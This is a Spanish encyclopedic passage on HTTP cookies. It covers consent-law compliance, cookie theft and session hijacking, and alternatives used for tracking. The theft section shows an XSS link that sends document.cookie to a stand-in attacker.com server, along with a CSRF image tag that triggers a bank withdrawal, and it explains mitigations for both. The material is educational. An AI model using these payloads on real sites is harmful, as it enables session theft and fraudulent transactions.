Tanto los estudios académicos como los reguladores describen un incumplimiento generalizado de la ley. Un estudio que analizó 10 000 sitios web del Reino Unido encontró que solo el 11,8 % de los sitios cumplían con los requisitos legales mínimos, y solo el 33,4 % de los sitios web estudiados proporcionaban un mecanismo para rechazar las cookies que era tan fácil de usar como aceptarlas. Un estudio de 17 000 sitios web encontró que el 84 % de los sitios infringieron este criterio y, además, encontraron que muchos instalaron cookies de terceros sin previo aviso.El regulador del Reino Unido, la Oficina del Comisionado de Información, declaró en 2019 que el 'Marco de transparencia y consentimiento' de la industria del grupo de tecnología publicitaria Interactive Advertising Bureau era 'insuficiente para garantizar la transparencia y el procesamiento justo de los datos personales en cuestión y, por lo tanto, también insuficiente para proporcionar el consentimiento libre e informado, con las consiguientes implicaciones para el cumplimiento de PECR [e-Privacy].' Muchas empresas que venden soluciones de cumplimiento (plataformas de gestión de consentimiento) permiten que se configuren de formas manifiestamente ilegales, lo que, según han señalado los académicos, genera dudas sobre la asignación adecuada de responsabilidad.

Se propuso una especificación W3C llamada P3P para que los servidores comuniquen su política de privacidad a los navegadores, lo que permite un manejo automático configurable por el usuario. Sin embargo, pocos sitios web implementan la especificación, ninguno de los principales navegadores la admite y el W3C ha dejado de trabajar en la especificación.

La mayoría de los navegadores pueden bloquear las cookies de terceros para aumentar la privacidad y reducir el seguimiento por parte de las empresas de publicidad y seguimiento sin afectar negativamente la experiencia web del usuario en todos los sitios. Algunos sitios operan 'muros de cookies', que hacen que el acceso a un sitio esté condicionado a permitir cookies técnicamente en un navegador, presionando 'aceptar', o ambos. En 2020, el Consejo Europeo de Protección de Datos, compuesto por todos los reguladores de protección de datos de la UE, declaró que los muros de cookies eran ilegales.

Para que el consentimiento pueda darse libremente, el acceso a los servicios y funcionalidades no debe estar condicionado al consentimiento de un usuario para el almacenamiento de información, o la obtención de acceso a información ya almacenada, en el equipo terminal de un usuario (denominado paredes de galletas).

Muchos operadores de publicidad tienen una opción de exclusión voluntaria para la publicidad conductual, con una cookie genérica en el navegador que detiene la publicidad conductual. Sin embargo, esto a menudo es ineficaz contra muchas formas de seguimiento, como el seguimiento propio que está creciendo en popularidad para evitar el impacto de los navegadores que bloquean las cookies de terceros. Además, si tal configuración es más difícil de colocar que la aceptación del seguimiento, sigue infringiendo las condiciones de la Directiva de privacidad electrónica.

Robo de cookies y secuestro de sesión

La mayoría de los sitios web utilizan cookies como los únicos identificadores de las sesiones de los usuarios, porque otros métodos para identificar a los usuarios web tienen limitaciones y vulnerabilidades. Si un sitio web utiliza cookies como identificadores de sesión, los atacantes pueden suplantar las solicitudes de los usuarios robando un conjunto completo de cookies de las víctimas. Desde el punto de vista del servidor web, una solicitud de un atacante tiene la misma autenticación que las solicitudes de la víctima; por lo tanto, la solicitud se realiza en nombre de la sesión de la víctima.

Aquí se enumeran varios escenarios de robo de cookies y secuestro de la sesión del usuario (incluso sin robar las cookies del usuario) que funcionan con sitios web que dependen únicamente de las cookies HTTP para la identificación del usuario.

Espionaje de la red

El tráfico en una red puede ser interceptado y leído por computadoras en la red que no sean el remitente y el receptor (particularmente a través de Wi-Fi abierto sin cifrar). Este tráfico incluye cookies enviadas en sesiones HTTP ordinarias sin cifrar. Cuando el tráfico de la red no está encriptado, los atacantes pueden leer las comunicaciones de otros usuarios en la red, incluidas las cookies HTTP, así como todo el contenido de las conversaciones, con el propósito de un ataque de intermediario.

Un atacante podría usar cookies interceptadas para hacerse pasar por un usuario y realizar una tarea maliciosa, como transferir dinero de la cuenta bancaria de la víctima.

Este problema se puede resolver asegurando la comunicación entre la computadora del usuario y el servidor empleando Transport Layer Security (protocolo HTTPS) para cifrar la conexión. Un servidor puede especificar el Secureindicador al configurar una cookie, lo que hará que el navegador envíe la cookie solo a través de un canal encriptado, como una conexión TLS.

Publicación de subdominio falso: envenenamiento de caché de DNS

Si un atacante puede hacer que un servidor DNS almacene en caché una entrada de DNS fabricada (lo que se denomina envenenamiento de caché de DNS), esto podría permitir que el atacante obtenga acceso a las cookies de un usuario. Por ejemplo, un atacante podría usar el envenenamiento de caché de DNS para crear una entrada de DNS fabricada f12345.www.example.comque apunte a la dirección IP del servidor del atacante. Luego, el atacante puede publicar una URL de imagen desde su propio servidor (por ejemplo, http://f12345.www.example.com/img_4_cookie.jpg). Las víctimas que leen el mensaje del atacante descargan esta imagen de f12345.www.example.com. Dado que f12345.www.example.comes un subdominio de www.example.com, los navegadores de las víctimas enviarían todas las example.comcookies relacionadas con el servidor del atacante.

Si un atacante puede lograr esto, generalmente es culpa de los proveedores de servicios de Internet por no proteger adecuadamente sus servidores DNS. Sin embargo, la gravedad de este ataque puede disminuir si el sitio web de destino utiliza cookies seguras. En este caso, el atacante tendría el desafío adicional de obtener el certificado TLS del sitio web objetivo de una autoridad certificadora, ya que las cookies seguras solo pueden transmitirse a través de una conexión cifrada. Sin un certificado TLS coincidente, los navegadores de las víctimas mostrarían un mensaje de advertencia sobre el certificado no válido del atacante, lo que ayudaría a disuadir a los usuarios de visitar el sitio web fraudulento del atacante y enviarle sus cookies.

Cross-site scripting: robo de cookies

Las cookies también se pueden robar usando una técnica llamada secuencias de comandos entre sitios. Esto ocurre cuando un atacante aprovecha un sitio web que permite a sus usuarios publicar contenido HTML y JavaScript sin filtrar. Al publicar código HTML y JavaScript malicioso, el atacante puede hacer que el navegador web de la víctima envíe las cookies de la víctima a un sitio web controlado por el atacante.

Como ejemplo, un atacante puede publicar un mensaje www.example.comcon el siguiente enlace:

< a  href = "#"  onclick = "ventana.ubicación = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;" > ¡Haz clic aquí! </ a >

Cuando otro usuario hace clic en este enlace, el navegador ejecuta el fragmento de código dentro del onclickatributo, reemplazando así la cadena document.cookiecon la lista de cookies a las que se puede acceder desde la página actual. Como resultado, esta lista de cookies se envía al attacker.comservidor. Si la publicación maliciosa del atacante está en un sitio web HTTPS https://www.example.com, también se enviarán cookies seguras a attacker.com en texto sin formato.

Es responsabilidad de los desarrolladores del sitio web filtrar dicho código malicioso.

Dichos ataques se pueden mitigar mediante el uso de cookies HttpOnly. Estas cookies no serán accesibles mediante lenguajes de secuencias de comandos del lado del cliente como JavaScript y, por lo tanto, el atacante no podrá recopilar estas cookies.

Cross-site scripting: solicitud de proxy

En versiones anteriores de muchos navegadores, había agujeros de seguridad en la implementación de la API XMLHttpRequest. Esta API permite que las páginas especifiquen un servidor proxy que recibiría la respuesta, y este servidor proxy no está sujeto a la política del mismo origen. Por ejemplo, una víctima está leyendo la publicación de un atacante en www.example.comy el script del atacante se ejecuta en el navegador de la víctima. El script genera una solicitud www.example.comcon el servidor proxy attacker.com. Dado que la solicitud es para www.example.com, todas las example.comcookies se enviarán junto con la solicitud, pero se enrutarán a través del servidor proxy del atacante. Por lo tanto, el atacante podría recolectar las cookies de la víctima.

Este ataque no funcionaría con cookies seguras, ya que solo pueden transmitirse a través de conexiones HTTPS, y el protocolo HTTPS dicta el cifrado de extremo a extremo (es decir, la información se cifra en el navegador del usuario y se descifra en el servidor de destino). En este caso, el servidor proxy solo vería los bytes sin formato y cifrados de la solicitud HTTP.

Falsificación de solicitud entre sitios

Por ejemplo, Bob podría estar navegando en un foro de chat donde otro usuario, Mallory, ha publicado un mensaje. Supongamos que Mallory ha creado un elemento de imagen HTML que hace referencia a una acción en el sitio web del banco de Bob (en lugar de un archivo de imagen), por ejemplo,

<img  src= "http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" >

Si el banco de Bob mantiene su información de autenticación en una cookie, y si la cookie no ha caducado, entonces el intento del navegador de Bob de cargar la imagen enviará el formulario de retiro con su cookie, autorizando así una transacción sin la aprobación de Bob.

Cookiejacking

Cookiejacking es un ataque contra Internet Explorer que permite al atacante robar cookies de sesión de un usuario engañándolo para que arrastre un objeto por la pantalla. Microsoft consideró que la falla era de bajo riesgo debido al "nivel de interacción del usuario requerido" y la necesidad de que un usuario ya haya iniciado sesión en el sitio web cuya cookie es robada. A pesar de esto, un investigador intentó atacar a 150 de sus amigos de Facebook y obtuvo cookies de 80 de ellos mediante ingeniería social.

Inconvenientes de las galletas

Además de las preocupaciones de privacidad, las cookies también tienen algunos inconvenientes técnicos. En particular, no siempre identifican con precisión a los usuarios, pueden usarse para ataques de seguridad y, a menudo, están en desacuerdo con el estilo arquitectónico del software Representational State Transfer (REST).

Identificación inexacta

Si se usa más de un navegador en una computadora, cada uno generalmente tiene un área de almacenamiento separada para las cookies. Por lo tanto, las cookies no identifican a una persona, sino a una combinación de una cuenta de usuario, una computadora y un navegador web. Por lo tanto, cualquiera que use múltiples cuentas, computadoras o navegadores tiene múltiples conjuntos de cookies.

Asimismo, las cookies no diferencian entre múltiples usuarios que comparten la misma cuenta de usuario, computadora y navegador.

Estado inconsistente en el cliente y el servidor

El uso de cookies puede generar una inconsistencia entre el estado del cliente y el estado almacenado en la cookie. Si el usuario adquiere una cookie y luego hace clic en el botón "Atrás" del navegador, el estado en el navegador generalmente no es el mismo que antes de esa adquisición. Por ejemplo, si el carrito de compras de una tienda en línea está construido con cookies, el contenido del carrito puede no cambiar cuando el usuario retrocede en el historial del navegador: si el usuario presiona un botón para agregar un artículo en el carrito de compras y luego hace clic en el botón "Atrás", el artículo permanece en el carrito de compras. Esta podría no ser la intención del usuario, quien posiblemente deseaba deshacer la adición del elemento. Esto puede generar falta de confiabilidad, confusión y errores.

Alternativas a las cookies

Algunas de las operaciones que se pueden realizar mediante cookies también se pueden realizar mediante otros mecanismos.

Tokens web JSON

Un token web JSON (JWT) es un paquete de información autónomo que se puede utilizar para almacenar información de identidad y autenticidad del usuario. Esto permite que se utilicen en lugar de las cookies de sesión. A diferencia de las cookies, que el navegador adjunta automáticamente a cada solicitud HTTP, la aplicación web debe adjuntar explícitamente los JWT a cada solicitud HTTP.

Autenticación HTTP

El protocolo HTTP incluye la autenticación de acceso básica y los protocolos de autenticación de acceso implícita, que permiten el acceso a una página web solo cuando el usuario ha proporcionado el nombre de usuario y la contraseña correctos. Si el servidor requiere tales credenciales para otorgar acceso a una página web, el navegador las solicita al usuario y, una vez obtenidas, el navegador las almacena y las envía en cada solicitud de página posterior. Esta información puede ser usada para localizar al usuario.

Dirección IP

Algunos usuarios pueden ser rastreados en función de la dirección IP de la computadora que solicita la página. El servidor conoce la dirección IP de la computadora que ejecuta el navegador (o el proxy, si se usa alguno) y teóricamente podría vincular la sesión de un usuario a esta dirección IP.

Sin embargo, las direcciones IP generalmente no son una forma confiable de rastrear una sesión o identificar a un usuario. Muchas computadoras diseñadas para ser utilizadas por un solo usuario, como las PC de oficina o las PC domésticas, están detrás de un traductor de direcciones de red (NAT). Esto significa que varias PC compartirán una dirección IP pública. Además, algunos sistemas, como Tor, están diseñados para conservar el anonimato en Internet, lo que hace que el seguimiento por dirección IP sea poco práctico, imposible o un riesgo para la seguridad.

URL (cadena de consulta)

Una técnica más precisa se basa en incrustar información en las URL. La parte de la cadena de consulta de la URL es la parte que normalmente se usa para este propósito, pero también se pueden usar otras partes. Los mecanismos de sesión de Java Servlet y PHP usan este método si las cookies no están habilitadas.

Este método consiste en que el servidor web agrega cadenas de consulta que contienen un identificador de sesión único a todos los enlaces dentro de una página web. Cuando el usuario sigue un enlace, el navegador envía la cadena de consulta al servidor, lo que permite que el servidor identifique al usuario y mantenga el estado.

Este tipo de cadenas de consulta son muy similares a las cookies en el sentido de que ambas contienen información arbitraria elegida por el servidor y ambas se envían de vuelta al servidor en cada solicitud. Sin embargo, hay algunas diferencias. Dado que una cadena de consulta es parte de una URL, si esa URL se reutiliza más tarde, la misma información adjunta se enviará al servidor, lo que podría generar confusión. Por ejemplo, si las preferencias de un usuario están codificadas en la cadena de consulta de una URL y el usuario envía esta URL a otro usuario por correo electrónico, esas preferencias también se usarán para ese otro usuario.

Además, si el mismo usuario accede a la misma página varias veces desde diferentes fuentes, no hay garantía de que se utilice la misma cadena de consulta cada vez. Por ejemplo, si un usuario visita una página desde una página interna del sitio la primera vez y luego visita la misma página desde un motor de búsqueda externo la segunda vez, es probable que las cadenas de consulta sean diferentes. Si se utilizaran cookies en esta situación, las cookies serían las mismas.

Otros inconvenientes de las cadenas de consulta están relacionados con la seguridad. El almacenamiento de datos que identifican una sesión en una cadena de consulta permite ataques de fijación de sesión, ataques de registro de referencia y otras vulnerabilidades de seguridad. La transferencia de identificadores de sesión como cookies HTTP es más segura.

Campos de formulario ocultos

Otra forma de seguimiento de sesiones es utilizar formularios web con campos ocultos. Esta técnica es muy similar al uso de cadenas de consulta de URL para contener la información y tiene muchas de las mismas ventajas y desventajas. De hecho, si el formulario se maneja con el método HTTP GET, esta técnica es similar al uso de cadenas de consulta de URL, ya que el método GET agrega los campos del formulario a la URL como una cadena de consulta. Pero la mayoría de los formularios se manejan con HTTP POST, lo que hace que la información del formulario, incluidos los campos ocultos, se envíe en el cuerpo de la solicitud HTTP, que no forma parte de la URL ni de una cookie.

Este enfoque presenta dos ventajas desde el punto de vista del rastreador. En primer lugar, tener la información de seguimiento colocada en el cuerpo de la solicitud HTTP en lugar de en la URL significa que el usuario promedio no la notará. En segundo lugar, la información de la sesión no se copia cuando el usuario copia la URL (para marcar la página o enviarla por correo electrónico, por ejemplo).

Propiedad DOM "window.name"

Todos los navegadores web actuales pueden almacenar una cantidad bastante grande de datos (2–32 MB) a través de JavaScript utilizando la propiedad DOM window.name. Estos datos se pueden utilizar en lugar de cookies de sesión y también son multidominio. La técnica se puede combinar con objetos JSON/JavaScript para almacenar conjuntos complejos de variables de sesión en el lado del cliente.

La desventaja es que cada ventana o pestaña separada inicialmente tendrá una window.namepropiedad vacía cuando se abra. Además, la propiedad se puede utilizar para rastrear a los visitantes a través de diferentes sitios web, por lo que es motivo de preocupación para la privacidad en Internet.

En algunos aspectos, esto puede ser más seguro que las cookies debido al hecho de que su contenido no se envía automáticamente al servidor en cada solicitud como lo hacen las cookies, por lo que no es vulnerable a los ataques de detección de cookies de la red. Sin embargo, si no se toman medidas especiales para proteger los datos, son vulnerables a otros ataques porque los datos están disponibles en diferentes sitios web abiertos en la misma ventana o pestaña.

Identificador para anunciantes

Apple utiliza una técnica de seguimiento denominada "Identificador para anunciantes" (IDFA). Esta técnica asigna un identificador único a cada usuario que compra un dispositivo Apple iOS (como un iPhone o iPad). Luego, la red de publicidad de Apple, iAd, utiliza este identificador para determinar los anuncios que las personas están viendo y respondiendo.

ETag

Debido a que el navegador almacena en caché los ETag y los devuelve con solicitudes posteriores del mismo recurso, un servidor de seguimiento puede simplemente repetir cualquier ETag recibido del navegador para garantizar que un ETag asignado persista indefinidamente (de manera similar a las cookies persistentes). Los campos de encabezado de almacenamiento en caché adicionales también pueden mejorar la conservación de los datos de ETag.

Los ETags se pueden vaciar en algunos navegadores borrando el caché del navegador.

Almacenamiento web

Algunos navegadores web admiten mecanismos de persistencia que permiten que la página almacene la información localmente para su uso posterior.

El estándar HTML5 (que la mayoría de los navegadores web modernos admiten hasta cierto punto) incluye una API de JavaScript denominada almacenamiento web que permite dos tipos de almacenamiento: almacenamiento local y almacenamiento de sesión. El almacenamiento local se comporta de manera similar a las cookies persistentes, mientras que el almacenamiento de sesión se comporta de manera similar a las cookies de sesión, excepto que el almacenamiento de sesión está vinculado a la vida útil de una pestaña/ventana individual (también conocida como una sesión de página), no a una sesión completa del navegador como las cookies de sesión.

Internet Explorer admite información persistente en el historial del navegador, en los favoritos del navegador, en un almacén XML ("datos de usuario") o directamente dentro de una página web guardada en el disco.

Algunos complementos de navegador web también incluyen mecanismos de persistencia. Por ejemplo, Adobe Flash tiene un objeto compartido local y Microsoft Silverlight tiene almacenamiento aislado.

Caché de navegador

El caché del navegador también se puede usar para almacenar información que se puede usar para rastrear usuarios individuales. Esta técnica aprovecha el hecho de que el navegador web utilizará los recursos almacenados en el caché en lugar de descargarlos del sitio web cuando determina que el caché ya tiene la versión más actualizada del recurso.

Por ejemplo, un sitio web podría servir un archivo JavaScript con un código que establezca un identificador único para el usuario (por ejemplo, var userId = 3243242;). Después de la visita inicial del usuario, cada vez que el usuario acceda a la página, este archivo se cargará desde el caché en lugar de descargarse del servidor. Por lo tanto, su contenido nunca cambiará.

Huella digital del navegador

Una huella dactilar del navegador es información recopilada sobre la configuración de un navegador, como el número de versión, la resolución de la pantalla y el sistema operativo, con fines de identificación. Las huellas dactilares se pueden utilizar para identificar total o parcialmente a usuarios o dispositivos individuales, incluso cuando las cookies están desactivadas.

La información básica de configuración del navegador web ha sido recopilada durante mucho tiempo por los servicios de análisis web en un esfuerzo por medir con precisión el tráfico web humano real y descartar varias formas de fraude de clics. Con la ayuda de lenguajes de secuencias de comandos del lado del cliente, es posible recopilar parámetros mucho más esotéricos. La asimilación de dicha información en una sola cadena constituye una huella digital del dispositivo. En 2010, EFF midió al menos 18,1 bits de entropía posible a partir de las huellas dactilares del navegador. La toma de huellas dactilares del lienzo, una técnica más reciente, pretende agregar otros 5,7 bits.